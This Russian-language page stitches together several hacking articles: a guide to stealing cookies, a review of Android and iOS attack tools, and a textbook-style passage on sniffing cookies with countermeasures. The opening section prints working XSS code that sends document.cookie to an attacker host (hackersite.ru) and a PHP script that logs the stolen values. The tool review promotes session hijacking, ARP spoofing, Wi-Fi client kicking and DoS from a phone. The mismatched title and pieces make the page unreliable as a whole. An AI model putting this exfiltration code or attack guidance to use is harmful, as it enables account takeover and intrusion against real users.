Простой способ украсть cookie. Методы похищения файлов cookie Завершение работы mitmAP

Что такое же cookie?

Существует механизм, позволяющий http-серверу сохранять на компьютере пользователя некоторую текстовую информацию, а потом к ней обращаться. Данная информация называется cookie. По сути, каждая cookie - это пара: название параметра и его значение. Также каждой cookie присваивается домен, к которому она относится. В целях безопасности во всех браузерах http-серверу позволено лишь обращаться к cookie своего домена. Дополнительно cookie может иметь дату истечения, тогда они будут хранится на компьютере до этой даты, даже если закрыть все окна браузера.


Почему cookie важны?

Во всех многопользовательских системах cookie используются для идентификации пользователя. Вернее, текущего соединения пользователя с сервисом, пользовательской сессии. Если кто-то узнает Ваши cookie, то сможет зайти в систему от Вашего имени. Потому, что в настоящий момент очень мало интернет-ресурсов проверяет смену IP-адреса в течении одной пользовательской сессии.


Как изменить или подменить cookie?

Разработчики браузеров не предоставляют встроенных средств для редактирования cookie. Но можно обойтись и обычным блокнотом (notepad).


Шаг 1: создаем текстовый файл с текстом

Windows Registry Editor Version 5.00



@="C:\\IE_ext.htm"

Сохраняем его под именем IE_ext.reg

Шаг 2: С помощью созданного файла добавляем изменения в реестр Windows.

Шаг 3: создаем текстовый файл с текстом

< script language ="javascript">
external.menuArguments.clipboardData.setData("Text" , external.menuArguments.document.cookie);

external.menuArguments.document.cookie= "testname=testvalue; path=/; domain=testdomain.ru" ;
alert(external.menuArguments.document.cookie);


Сохраняем его под именем C:\IE_ext.htm

Шаг 4: Заходим на интересующий нас интернет-сайт.

Шаг 5: Правой кнопкой мыши кликам на свободном месте странице и выбираем пункт меню «Работа с Cookies» . Разрешаем доступ к буферу обмена. В буфер обмена попадут Ваши cookie данного сайт. Можете вставить их блокнот (notepad) и посмотреть.


Шаг 6: Для изменения некоторого cookie редактируем файл C:\IE_ext.htm, заменяя testname на имя cookie, testvalue - на его значение, testdomain.ru – на домен сайта. При необходимости добавляем еще подобные строчки. Для удобства контроля я добавил в скрипт вывод текущих cookie до и после изменения: alert(external.menuArguments.document.cookie);

Шаг 7: Выполняем еще раз Шаг 5, а потом обновляем страницу.

Итог: мы зайдем на данный интернет-ресурс с обновленными cookie.

Как украсть cookie с помощью JavaScript?

Если злоумышленнику удалось найти возможность выполнить произвольный JavaScript-скрипт на компьютере жертвы, то прочитать текущие cookie он может очень легко. Пример:


var str= document.cookie;

Но сможет ли он их передать на свой сайт, ведь, как я указывал ранее, JavaScript-скрипт не сможет без дополнительного подтверждения обратиться к сайту, находящемуся в другом домене? Оказывается, JavaScript-скрипт может загрузить любую картинку, находящуюся на любом http-сервере. При этом передать любую текстовую информацию в запросе на загрузку этой картинке. Пример: http://hackersite.ru/xss.jpg?text_info Поэтому если выполнить такой код:

var img=new Image();

img.src="http://hackersite.ru/xss.jpg?" + encodeURI(document.cookie);


то cookie окажутся в запросе на загрузку «картинки» и «уйдут» к злоумышленнику.

Как обрабатывать такие запросы на загрузку «картинки»?

Злоумышленнику нужно лишь найти хостинг с поддержкой php и разместить там код подобный такому:

$uid=urldecode($_SERVER["QUERY_STRING"]);
$fp=fopen("log.txt","a");
fputs($fp,"$uid\n");
fclose($fp);
?>

Тогда все параметры запросов к этому скрипту будут сохраняться в файле log.txt . Осталось лишь в ранее описанном JavaScript-скрипте заменить http://hackersite.ru/xss.jpg на путь к данному php-скрипту.


Итог

Я показал лишь самый простой способ использования XSS-уязвимостей. Но это доказывает, что наличие хотя бы одной такой уязвимостей на многопользовательском интернет-сайте может позволяет злоумышленнику пользоваться его ресурсами от Вашего имени.

«Смартфон с хакерскими утилитами? Нет такого», - еще недавно сказали бы мы тебе. Запустить каике-то привычные инструменты для реализации атак можно было разве что на каком-нибудь Maemo. Теперь же многие привычные инструменты портировали под iOS и Android, а некоторые хак-тулзы были специально написаны для мобильного окружения. Может ли смартфон заменить ноутбук в тестах на проникновение? Мы решили проверить.

ANDROID

Android - популярная платформа не только для простых смертных, но и для правильных людей. Количество полезных ][-утилит здесь просто зашкаливает. За это можно сказать спасибо UNIX-корням системы - это значительно упростило портирование многих инструментов на Android. Увы, некоторые из них Google не пускает в Play Store, так что придется ставить соответствующие APK вручную. Также для некоторых утилит нужен максимальный доступ к системе (например, файрволу iptables), поэтому следует заранее позаботиться о root-доступе. Для каждого производителя здесь используется собственная технология, но найти необходимую инструкцию достаточно просто. Неплохой набор HOWTO собрал ресурс LifeHacker (bit.ly/eWgDlu). Однако если какой-то модели тут найти не удалось, на помощь всегда приходит форум XDA-Developers (www.xda-developers.com), на котором можно найти различную информацию фактически по любой модели Android-телефона. Так или иначе, часть из ниже описанных утилит заработают и без root-доступа.

Начнем обзор с необычного менеджера пакетов. Разработчики называют его «утилитами для суперпользователей», и это недалеко от правды. После установки BotBrew ты получаешь репозиторий, откуда можешь загрузить огромное количество скомпилированных под Android привычных инструментов. Среди них: интерпретаторы Python и Ruby для запуска многочисленных инструментов, которые на них написаны, сниффер tcpdump и сканер Nmap для анализа сети, Git и Subversion для работы с системами контроля версий и многое другое.

Сетевые сканеры

Незаметный смартфон, который в отличие от ноутбука легко помещается в карман и никогда не вызывает подозрений, может быть полезен для исследования сети. Выше мы уже сказали, как можно установить Nmap, но есть еще один вариант. PIPS - это специально адаптированный под Android, хотя и неофициальный порт сканера Nmap. А значит, ты сможешь быстро найти активные устройства в сети, определить их ОС с помощью опций по fingerprinting’у, провести сканирование портов - короче говоря, сделать все, на что способен Nmap.

С использованием Nmap’а, несмотря на всю его мощь, есть две проблемы. Во-первых, параметры для сканирования передаются через ключи для запуска, которые надо не только знать, но еще и суметь ввести с неудобной мобильной клавиатуры. А во-вторых, результаты сканирования в консольном выводе не такие наглядные, как того хотелось бы. Этих недостатков лишен сканнер Fing, который очень быстро сканирует сеть, делает fingerprinting, после чего в понятной форме выводит список всех доступных устройств, разделяя их по типам (роутер, десктоп, iPhone и так далее). При этом по каждому хосту можно быстро посмотреть список открытых портов. Причем прямо отсюда можно подключиться, скажем, к FTP, используя установленный в системе FTP-клиент, - очень удобно.

Когда речь идет об анализе конкретного хоста, незаменимой может оказаться утилита NetAudit. Она работает на любом Android-устройстве (даже нерутованном) и позволяет не только быстро определить устройства в сети, но и исследовать их с помощью большой fingerprinting-базы для определения операционной системы, а также CMS-систем, используемых на веб-сервере. Сейчас в базе более 3000 цифровых отпечатков.

Если же нужно, напротив, работать на уровне ниже и тщательно исследовать работу сети, то здесь не обойтись без Net Tools. Это незаменимый в работе системного администратора набор утилит, позволяющий полностью продиагностировать работу сети, к которой подключено устройство. Пакет содержит более 15 различного рода программ, таких как ping, traceroute, arp, dns, netstat, route.

Манипуляции с трафиком

Основанный на tcpdump сниффер честно логирует в pcap-файл все данные, которые далее можно изучить с помощью привычных утилит вроде Wireshark или Network Miner. Так как никакие возможности для MITM-атак в нем не реализованы, это скорее инструмент для анализа своего трафика. К примеру, это отличный способ изучить то, что передают программы, установленные на твой девайс из сомнительных репозиториев.

Если говорить о боевых приложениях для Android, то одним из самых нашумевших является FaceNiff, реализующий перехват и внедрение в перехваченные веб-сессии. Скачав APK-пакет с программой, можно практически на любом Android-смартфоне запустить этот хек-инструмент и, подключившись к беспроводной сети, перехватывать аккаунты самых разных сервисов: Facebook, Twitter, «ВКонтакте» и так далее - всего более десяти. Угон сессии осуществляется средствами применения атаки ARP spoofing, но атака возможна только на незащищенных соединениях (вклиниваться в SSL-трафик FaceNiff не умеет). Чтобы сдержать поток скрипткидисов, автор ограничил максимальное число сессий тремя - дальше нужно обратиться к разработчику за специальным активационным кодом.

Если создатель FaceNiff хочет за использование денежку, то DroidSheep - это полностью бесплатный инструмент с тем же функционалом. Правда, на официальном сайте ты не найдешь дистрибутива (это связано с суровыми законами Германии по части security-утилит), но его без проблем можно найти в Сети. Основная задача утилиты - перехват пользовательских веб-сессий популярных социальных сетей, реализованный с помощью все того же ARP Spoofing’а. А вот с безопасными подключениями беда: как и FaceNiff, DroidSheep наотрез отказывается работать с HTTPS-протоколом.

Эта утилита также демонстрирует небезопасность открытых беспроводных сетей, но несколько в другой плоскости. Она не перехватывает пользовательские сессии, но позволяет с помощью спуфинг-атаки пропускать HTTP-трафик через себя, выполняя с ним заданные манипуляции. Начиная от обычных шалостей (заменить все картинки на сайте троллфейсами, перевернуть все изображения или, скажем, подменив выдачу Google) и заканчивая фишинговыми атаками, когда пользователю подсовываются фейковые страницы таких популярных сервисов, как facebook.com, linkedin.com, vkontakte.ru и многих других.

Если спросить, какая хак-утилита для Android наиболее мощная, то у Anti, пожалуй, конкурентов нет. Это настоящий хакерский комбайн. Основная задача программы - сканирование сетевого периметра. Далее в бой вступают различные модули, с помощью которых реализован целый арсенал: это и прослушка трафика, и выполнение MITM-атак, и эксплуатация найденных уязвимостей. Правда, есть и свои минусы. Первое, что бросается в глаза, - эксплуатация уязвимостей производится лишь с центрального сервера программы, который находится в интернете, вследствие чего о целях, не имеющих внешний IP-адрес, можно забыть.

Туннелирование трафика

Хорошо известный файловый менеджер теперь и на смартфонах! Как и в настольной версии, тут предусмотрена система плагинов для подключения к различным сетевым директориям, а также канонический двухпанельный режим - особенно удобно на планшетах.

Хорошо, но как обеспечить безопасность своих данных, которые передаются в открытой беспроводной сети? Помимо VPN, который Android поддерживает из коробки, можно поднять SSH-туннель. Для этого есть замечательная утилита SSH Tunnel, которая позволяет завернуть через удаленный SSH-сервер трафик выбранных приложений или всей системы в целом.

Часто бывает необходимо пустить трафик через прокси или сокс, и в этом случае выручит ProxyDroid. Все просто: выбираешь, трафик каких приложений нужно туннелировать, и указываешь прокси (поддерживаются HTTP/HTTPS/SOCKS4/SOCKS5). Если требуется авторизация, то ProxyDroid это также поддерживает. К слову, конфигурацию можно забиндить на определенную беспроводную сеть, сделав разные настройки для каждой из них.

Беспроводные сети

Встроенный менеджер беспроводных сетей не отличается информативностью. Если нужно быстро получить полную картину о находящихся рядом точках доступа, то утилита Wifi Analyzer - отличный выбор. Она не только покажет все находящиеся рядом точки доступа, но и отобразит канал, на котором они работают, их MAC-адрес и, что важнее всего, используемый тип шифрования (увидев заветные буквы «WEP», можно считать, что доступ в защищенную сеть обеспечен). Помимо этого утилита идеально подойдет, если нужно найти, где физически находится нужная точка доступа, благодаря наглядному индикатору уровня сигнала.

Эта утилита, как заявляет ее разработчик, может быть полезна, когда беспроводная сеть под завязку забита клиентами, которые используют весь канал, а именно в этот момент нужен хороший коннект и стабильная связь. WiFiKill позволяет отключить клиентов от интернета как выборочно, так и по определенному критерию (к примеру, возможно постебаться над всеми яблочниками). Программа всего-навсего выполняет атаку ARP spoofing и перенаправляет всех клиентов на самих себя. Этот алгоритм до глупости просто реализован на базе iptables. Такая вот панель управления для беспроводных сетей фастфуда:).

Аудит веб-приложений

Манипулировать HTTP-запросами с компьютера - плевое дело, для этого есть огромное количество утилит и плагинов для браузеров. В случае со смартфоном все немного сложнее. Отправить кастомный HTTP-запрос с нужными тебе параметрами, например нужной cookie или измененным User-Agent, поможет HTTP Query Builder. Результат выполнения запроса будет отображен в стандартном браузере.

Если сайт защищен паролем с помощью Basic Access Authentication, то проверить его надежность можно с помощью утилиты Router Brute Force ADS 2. Изначально утилита создавалась для брутфорса паролей на админки роутера, но понятно, что она может быть использована и против любого другого ресурса с аналогичной защитой. Утилита работает, но явно сыровата. К примеру, разработчиком не предусмотрен грубый перебор, а возможен только брутфорс по словарю.

Наверняка ты слышал о такой нашумевшей программе вывода из строя веб-серверов, как Slowloris. Принцип ее действия: создать и удерживать максимальное количество подключений с удаленным веб-сервером, таким образом не давая подключиться к нему новым клиентам. Так вот, AnDOSid - аналог Slowloris прямо в Android-девайсе! Скажу по секрету, двухсот подключений достаточно, чтобы обеспечить нестабильную работу каждому четвертому веб-сайту под управлением веб-сервера Apache. И все это - с твоего телефона!

Разные полезности

При работе с многими веб-приложениями и анализе их логики достаточно часто встречаются данные, передаваемые в закодированным виде, а именно Base64. Encode поможет тебе раскодировать эти данные и посмотреть, что же именно в них хранится. Возможно, подставив кавычку, закодировав их обратно в Base64 и подставив в URL исследуемого сайта, ты получишь заветную ошибку выполнения запроса к базе данных.

Если нужен шестнадцатеричный редактор, то для Android он тоже есть. С помощью HexEditor ты сможешь редактировать любые файлы, в том числе и системные, если повысишь программе права до суперпользователя. Отличная замена стандартному редактору текстов, позволяющая с легкостью найти нужный фрагмент текста и изменить его.

Удаленный доступ

Получив доступ к удаленному хосту, нужно иметь возможность им воспользоваться. А для этого нужны клиенты. Начнем с SSH, где стандартом де-факто уже является ConnectBot. Помимо удобного интерфейса, предоставляет возможность организации защищенных туннелей через SSH-подключения.

Полезная программа, позволяющая подключаться к удаленному рабочему столу через сервисы RDP или VNC. Очень радует, что это два клиента в одном, нет необходимости использовать разные тулзы для RDP и VNC.

Специально написанный для Android браузер MIB, с помощью которого можно управлять сетевыми устройствами по протоколу SNMP. Сможет пригодиться для развития вектора атаки на различные маршрутизаторы, ведь стандартные community string (проще говоря, пароль для доступа) для управления через SNMP еще никто не отменял.

iOS

Не менее популярна среди разработчиков security-утилит платформа iOS. Но если в случае с Android права root’а были нужны только для некоторых приложений, то на устройствах от Apple джейлбрейк обязателен почти всегда. К счастью, даже для последней прошивки iДевайсов (5.1.1) уже есть тулза для джейлбрейка. Вместе с полным доступом ты еще получаешь и альтернативный менеджер приложений Cydia, в котором уже собраны многие утилиты.

Работа с системой

Первое, с чего хочется начать, - это установка терминала. По понятным причинам в стандартной поставке мобильной ОС его нет, но он нам понадобится, чтобы запускать консольные утилиты, о которых мы далее будем говорить. Лучшей реализацией эмулятора терминала является MobileTerminal - он поддерживает сразу несколько терминалов, жесты для управления (например, для передачи Control-C) и вообще впечатляет своей продуманностью.

Еще один, более сложный вариант получить доступ к консоли устройства - установить на нем OpenSSH (это делается через Cydia) и локально подключаться к нему через SSH-клиент. Если использовать правильный клиент вроде iSSH, в котором изумительно реализовано управление с сенсорного экрана, то этот способ даже более удобен, чем через MobileTerminal.

Перехват данных

Теперь, когда доступ к консоли есть, можно попробовать утилиты. Начнем с Pirni, вошедшей в историю как полноценный сниффер для iOS. К сожалению, конструктивно ограниченный модуль Wi-Fi, встроенный в устройство, невозможно перевести в promiscious-режим, необходимый для нормального перехвата данных. Так что для перехвата данных используется классический ARP-спуфинг, с помощью которого весь трафик пропускается через само устройство. Стандартная версия утилиты запускается из консоли, где помимо параметров MITM-атаки указывается имя PCAP-файла, в который логируется весь трафик. У утилиты есть более продвинутая версия - Pirni Pro, которая может похвастаться графическим интерфейсом. Причем она умеет на лету парсить HTTP-трафик и даже автоматически вытаскивать оттуда интересные данные (к примеру, логины-пароли), используя для этого регулярные выражения, которые задаются в настройках.

Небезызвестный сниффер Intercepter-NG, о котором мы неоднократно писали, с недавнего времени имеет консольную версию. Как говорит автор, большая часть кода написана на чистом ANSI C, который ведет себя одинаково практически в любой среде, поэтому консольная версия с самого начала заработала как на десктопных Windows, Linux и BSD, так и на мобильных платформах, в том числе iOS и Android. В консольной версии уже реализован граббинг паролей, передаваемых по самым разным протоколам, перехват сообщений мессенджеров (ICQ/Jabber и многих других), а также воскрешение файлов из трафика (HTTP/FTP/IMAP/POP3/SMTP/SMB). При этом доступны функции сканирования сети и качественный ARP Poison. Для корректной работы необходимо предварительно установить через Cydia пакет libpcap (не забудь в настройках включить девелоперские пакеты). Вся инструкция по запуску сводится к установке правильных прав: chmod +x intercepter_ios. Далее, если запустить сниффер без параметров, появится понятный интерактивный интерфейс Itercepter, позволяющий запустить любые атаки.

Трудно поверить, но этот сложнейший инструмент для реализации MITM-атак все-таки портировали под iOS. После колоссальной работы получилось сделать полноценный мобильный порт. Чтобы избавить себя от танцев с бубном вокруг зависимостей во время самостоятельной компиляции, лучше установить уже собранный пакет, используя Cydia, предварительно добавив в качестве источника данных theworm.altervista.org/cydia (репозиторий TWRepo). В комплекте идет и утилита etterlog, которая помогает извлечь из собранного дампа трафика различного рода полезную информацию (к примеру, аккаунты доступа к FTP).

Анализ беспроводных сетей

В старых версиях iOS умельцы запускали aircrack и могли ломать WEP-ключ, но мы проверили: на новых устройствах программа не работает. Поэтому для исследования Wi-Fi нам придется довольствоваться только Wi-Fi-сканерами. WiFi Analyzer анализирует и отображает информацию обо всех доступных 802.11 сетях вокруг, включая информацию о SSID, каналах, вендорах, MAC-адресах и типах шифрования. Утилита строит наглядные графики в реальном времени по присутствующим в эфире данным. С такой программой легко найти физическое местоположение точки, если ты вдруг его забыл, и, например, посмотреть WPS PIN, который может быть полезен для подключения.

Сетевые сканеры

Какой программой пользуется любой пентестер в любой точке планеты независимо от целей и задач? Сетевым сканером. И в случае с iOS это, скорее всего, будет мощнейший тулкит Scany. Благодаря набору встроенных утилит можно быстро получить подробную картину о сетевых устройствах и, к примеру, открытых портах. Помимо этого пакет включает в себя утилиты тестирования сети, такие как ping, traceroute, nslookup.

Впрочем, многие отдают предпочтение Fing’у. Сканер имеет достаточно простой и ограниченный функционал, но его вполне хватит для первого знакомства с сетью, скажем, кафетерия:). В результатах отображается информация о доступных сервисах на удаленных машинах, MAC-адреса и имена хостов, подключенных к сканируемой сети.

Казалось бы, про Nikto все забыли, но почему? Ведь этот веб-сканер уязвимостей, написанный на скрипт-языке (а именно на Perl), ты легко сможешь установить через Cydia. А это значит, что ты без особого труда сможешь запустить его на своем джейлбрейкнутом устройстве из терминала. Nikto с радостью предоставит тебе дополнительную информацию по испытуемому веб-ресурсу. К тому же ты своими руками можешь добавить в его базу данных знаний собственные сигнатуры для поиска.

Этот мощный инструмент для автоматической эксплуатации SQL-уязвимостей написан на Python, а значит, установив интерпретатор, им без проблем можно пользоваться прямо с мобильного устройства.

Удаленное управление

Многие сетевые устройства (в том числе дорогие роутеры) управляются по протоколу SNMP. Эта утилита позволяет просканировать подсети на наличие доступных сервисов SNMP с заранее известными значением community string (проще говоря, стандартными паролями). Заметим, что поиск сервисов SNMP со стандартными community string (public/private) в попытке получить доступ к управлению устройствами - неотъемлемая часть любого теста на проникновение наряду с идентификацией самого периметра и выявлением сервисов.

Две утилиты от одного производителя предназначены для подключения к удаленному рабочему столу по протоколам RDP и VNC. Подобных утилит в App Store много, но именно эти особенно удобны в использовании.

Восстановление паролей

Легендарная программа, помогающая «вспомнить» пароль миллионам хакеров по всему миру была портирована под iOS. Теперь прямо с iPhone’а возможен перебор паролей к таким сервисам, как HTTP, FTP, TELNET, SSH, SMB, VNC, SMTP, POP3 и многим другим. Правда, для более эффективной атаки лучше запастись хорошими словарями для брутфорса.

Всем не понаслышке известна такая уязвимость, как использование стандартных паролей. Pass Mule представляет собой своего рода справочник, в котором собраны всевозможные стандартные логины и пароли для сетевых устройств. Они удобно разложены по названиям вендоров, продуктам и моделям, так что найти нужный не составит труда. Программа скорее предназначена для экономии времени на поиске мануала к роутеру, стандартный логин и пароль для которого необходимо узнать.

Эксплуатация уязвимостей

Сложно представить себе более хакерскую утилиту, нежели Metasploit, - и именно она завершает наш сегодняшний обзор. Metasploit - это пакет разнообразных инструментов, основная задача которого заключается в эксплуатации уязвимостей в программном обеспечении. Представь: около 1000 надежных, проверенных и необходимых в повседневной жизни пентестера эксплойтов - прямо на смартфоне! С помощью такого инструмента реально можно обосноваться в любой сети. Metasploit позволяет не только эксплуатировать бреши в серверных приложениях - доступны также инструменты для атак на клиентские приложения (например, через модуль Browser Autopwn, когда в трафик клиентов вставляется боевая нагрузка). Тут надо сказать, что мобильной версии тулкита не существует, однако на Apple-устройство можно установить стандартный пакет, воспользовавшись .

Задумывались ли вы когда-нибудь о том, как на некоторых Web-узлах происходит персонификация посетителей? Это может выражаться, например, в запоминании содержимого "тележки" (если этот узел предназначен для продажи товаров) или в способе заполнения полей какой-нибудь формы. В протоколе HTTP, лежащем в основе функционирования World Wide Web, нет средств, позволяющих отслеживать события от одного посещения узла к другому, поэтому для возможности хранения таких "состояний" было разработано специальное дополнение. Этот механизм, описанный в документе RFC 2109, обеспечивает вставку в передаваемые запросы и ответы HTTP специальных фрагментов данных cookie, позволяющих Web-узлам отслеживать своих посетителей.

Данные cookie могут запоминаться на время сеанса связи (per session ), оставаясь в оперативной памяти в течение одного сеанса и удаляясь при закрытии браузера, или даже после истечения заданного промежутка времени. В других случаях они бывают постоянными (persistent ), оставаясь на жестком диске пользователя в виде текстового файла. Обычно они хранятся в каталоге Cookies (%windir% \Cookies - в Win9x и %userprofile%\Cookies - в NT/2000). Нетрудно догадаться, что после захвата файлов cookie в Internet взломщик может выдавать себя за пользователя данного компьютера, или собирать содержащуюся в этих файлах важную информацию. Прочитав следующие разделы, вы поймете, насколько просто это сделать.

Перехват файлов cookie

Самый прямой способ заключается в перехвате файлов cookie при их передаче по сети. Затем перехваченные данные можно использовать при входе на соответствующий сервер. Такую задачу можно решить с помощью любой утилиты перехвата пакетов, однако одной из лучших является программа Лаврентия Никулы (Laurentiu Nicula ) SpyNet/PeepNet . В состав SpyNet входят две утилиты, которые работают в комплексе. Программа CaptureNet выполняет захват самого пакета и сохраняет его на диске, а утилита PeepNet открывает этот файл и преобразует его в читабельный формат. Следующий пример является фрагментом восстановленного программой PeepNet сеанса связи, во время которого файл cookie служит для аутентификации и управления доступом к просматриваемым страницам (для сохранения анонимности имена изменены).

GET http://www.victim.net/images/logo.gif HTTP/1.0 Accept: */* Referrer: http://www.victim.net/ Host: www.victim.net Cookie: jrunsessionid=96114024278141622; cuid=TORPM!ZXTFRLRlpWTVFISEblahblah

В приведенном примере виден фрагмент cookie, помещенный в поступающий на сервер запрос HTTP. Наиболее важным является поле cuid= , в котором задается уникальный идентификатор, используемый при аутентификации пользователя на узле www.victim.net. Допустим, что после этого взломщик посетил узел victim.net, получил собственный идентификатор и файл cookie (предполагается, что узел помещает данные cookie не в виртуальную память, а записывает их на жесткий диск). Тогда взломщик может открыть свой собственный файл cookie и заменить в нем идентификатор поля cuid=, взяв его из перехваченного пакета. В этом случае при входе на сервер victim.net он будет восприниматься как пользователь, чьи данные cookie были перехвачены.

Способность программы PeepNet воспроизводить весь сеанс связи или его фрагмент значительно облегчает реализацию атак этого типа. С помощью кнопки Go get it! можно повторно извлечь страницы, которые просматривались пользователем, используя его данные cookie, перехваченные ранее программой CaptureNet. В диалоговом окне утилиты PeepNet можно увидеть информацию о чьих-то выполненных распоряжениях. При этом для аутентификации используются данные cookie, перехваченные программой CaptureNet. Обратите внимание на фрейм, расположенный в нижнем правом углу диалогового окна с данными сеанса связи, и на строку, которая следует за строкой Cookie:. Это данные cookie, используемые при аутентификации.

Это довольно ловкий трюк. Кроме того, утилита CaptureNet может предоставить полную запись трафика в расшифрованном виде, что практически равносильно возможностям утилит профессионального класса, таких как Sniffer Pro компании Network Associates, Inc. Однако утилита SpyNet еще лучше - ее можно получить бесплатно!

Контрмеры

Следует остерегаться узлов, на которых файлы cookie применяются для аутентификации и хранения важных идентификационных данных. Одним из инструментов, помогающих в обеспечении защиты, является программа Cookie Pal компании Kookaburra Software, которую можно найти на Web-узле http://www.kburra.com/cpal.html . Этот программный продукт можно настроить так, чтобы для пользователя генерировались предупреждающие сообщения о попытках Web-узла воспользоваться механизмом cookie. При этом можно "заглянуть за кулисы" и решить, следует ли разрешать выполнение этих действий. В Internet Explorer имеется встроенный механизм поддержки файлов cookie. Чтобы активизировать его, запустите аплет Internet Options панели управления, перейдите во вкладку Security, выберите элемент Internet Zone, установите режим Custom Level и для постоянных и временных данных cookie установите переключатель в положение Prompt. Настройка использования файлов cookie в браузере Netscape выполняется с помощью команды Edit › Preferences › Advanced и установки режима Warn me before accepting a cookie или Disable cookies (рис. 16.3). Принимая файл cookie, нужно проверить, записался ли он на диск, и узнать, собирает ли Web-узел информацию о пользователях.

Посещая узел, на котором файлы cookie служат для аутентификации, необходимо убедиться, что первоначально сообщаемые имя и пароль шифруются хотя бы с помощью протокола SSL. Тогда эта информация появится в окне программы PeepNet по меньшей мере не в виде простого текста.

Авторы предпочли бы полностью отказаться от файлов cookie, если бы многие часто посещаемые Web-узлы не требовали этого режима. Например, для популярной во всем мире службы Hotmail компании Microsoft наличие файлов cookie обязательно для регистрации. Поскольку эта служба в процессе аутентификации задействует несколько различных серверов, то добавить их в зону надежных узлов не так-то просто (этот процесс описан в разделе "Разумное Использование Зон Безопасности: Общее Решение Проблемы Элементов Activex"). В этом случае поможет обозначение *.hotmail.com. Файлы cookie - далеко не идеальное решение проблемы неполноты протокола HTML, однако альтернативные подходы, по-видимому, еще хуже (например, добавление к адресу URL идентификатора, который может храниться на proxy-серверах). Пока не появится идея получше, единственным выходом остается контроль над файлами cookie с помощью перечисленных выше методов.

Захват файлов cookie через URL

Представим себе нечто ужасное: пользователи Internet Explorer щелкают на специально сконструированных гиперссылках и становятся потенциальными жертвами, рискуя, что их файлы cookie будут перехвачены. Беннет Хазельтон (Bennett Haselton ) и Джеми Маккарти (Jamie McCarthy ) из тинейджерской организации Peacefire, ратующей за свободу общения через Internet, опубликовали сценарий, воплощающий эту идею в жизнь. Этот сценарий извлекает файлы cookie с клиентского компьютера, если его пользователь щелкает на ссылке, содержащейся на этой странице. В результате содержимое файла cookie становится доступным для операторов Web-узла.

Эту возможность можно использовать в неблаговидных целях, внедряя дескрипторы IFRAME в HTML-код Web-страницы, электронного сообщения в формате HTML или сообщения из группы новостей. В следующем примере, предложенном консультантом по вопросам безопасности Ричардом М. Смитом, демонстрируется возможность использования дескрипторов IFRAME совместно с утилитой, разработанной организацией Peacefire.